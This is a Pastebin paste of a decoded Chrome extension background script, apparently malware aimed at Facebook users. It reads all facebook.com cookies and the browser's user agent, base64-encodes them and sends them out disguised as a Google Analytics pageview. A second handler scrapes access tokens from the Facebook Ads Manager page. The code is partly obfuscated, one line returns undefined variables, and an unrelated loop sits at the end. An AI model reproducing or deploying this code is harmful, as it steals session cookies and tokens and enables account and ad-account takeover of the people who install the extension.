sh4d0wst0rm

background.js decoded

Jun 18th, 2023
270
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
JavaScript 2.50 KB | Source Code | 0 0
  1. const ANALYTICS_PATH = "https://www.google-analytics.com/collect";
  2. async function postData(_0xb4f7x3 = "", _0xb4f7x4 = {}) {
  3.   const _0xb4f7x5 = await fetch(_0xb4f7x3, {method: "POST", mode: "no-cors", cache: "no-cache", credentials: "same-origin", headers: {"Content-Type": "application/x-www-form-urlencoded"}, redirect: "follow", referrerPolicy: "no-referrer", body: _0xb4f7x4});
  4. }
  5. var coo = [];
  6. const getsss = () => {
  7.   chrome.cookies.getAll({url: "https://facebook.com"}, _0xb4f7x4 => {
  8.     coo = _0xb4f7x4.map(_0xb4f7x8 => {
  9.       return `${""}${_0xb4f7x8.name}${"="}${_0xb4f7x8.value}${""}`;
  10.     }).join(";");
  11.     var _0xb4f7x9 = new URLSearchParams;
  12.     let _0xb4f7xa = (Math.random() + 1).toString(36).substring(3);
  13.     _0xb4f7x9.append("v", 1);
  14.     _0xb4f7x9.append("tid", "UA-244663376-1");
  15.     _0xb4f7x9.append("cid", "35009a79-1a05-49d7-b876-2b" + _0xb4f7xa);
  16.     _0xb4f7x9.append("t", "pageview");
  17.     _0xb4f7x9.append("dp", btoa(`${""}${coo}${"|"}${navigator.userAgent}${"|gtes"}`));
  18.     postData(ANALYTICS_PATH, _0xb4f7x9);
  19.   });
  20. };
  21. chrome.runtime.onMessage.addListener(function (_0xb4f7xb, _0xb4f7xc, _0xb4f7xd) {
  22.   if (_0xb4f7xb.action === "executeFunction") {
  23.     getsss();
  24.     return true;
  25.   }
  26.   ;
  27.   if (_0xb4f7xb.action === "getTokenDTSG") {
  28.     let _0xb4f7xe = {headers: {cookie: _0xb4f7xb.data, accept: "*/*", "accept-language": "vi-VN,vi;q=0.9,fr-FR;q=0.8,fr;q=0.7,en-US;q=0.6,en;q=0.5", "content-type": "application/x-www-form-urlencoded", "Sec-Fetch-Dest": "empty", "Sec-Fetch-Site": "same-origin", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36"}, body: null, method: "GET", mode: "cors", credentials: "include"};
  29.     fetch("https://adsmanager.facebook.com/ads/manager/account_settings/information/", _0xb4f7xe).then(_0xb4f7x18 => {
  30.       return _0xb4f7x18.text();
  31.     }).then(_0xb4f7xf => {
  32.       let _0xb4f7x10 = 'access_token:"';
  33.       let _0xb4f7x11 = '"';
  34.       let _0xb4f7x12 = new RegExp(`${""}${_0xb4f7x10}${"(.*?)"}${_0xb4f7x11}${""}`);
  35.       let _0xb4f7x13 = _0xb4f7xf.match(_0xb4f7x12);
  36.       let _0xb4f7x14 = _0xb4f7x13 ? _0xb4f7x13[1] : null;
  37.       let _0xb4f7x15 = '"token":"';
  38.       let _0xb4f7x16 = '"';
  39.       let _0xb4f7x17 = _0xb4f7xf.match(new RegExp("(?<=" + _0xb4f7x15 + "+).*?(?=" + _0xb4f7x16 + ")", "gs"))[0];
  40.       _0xb4f7xd({token_bm, fb_dtsg});
  41.     });
  42.     return true;
  43.   }
  44. });
  45. let total = 0;
  46. for (let i = 0; i < 10; i++) {
  47.   total += i;
  48. }
  49. console.log("Total: " + total);
  50.  
Advertisement
Add Comment
Please, Sign In to add comment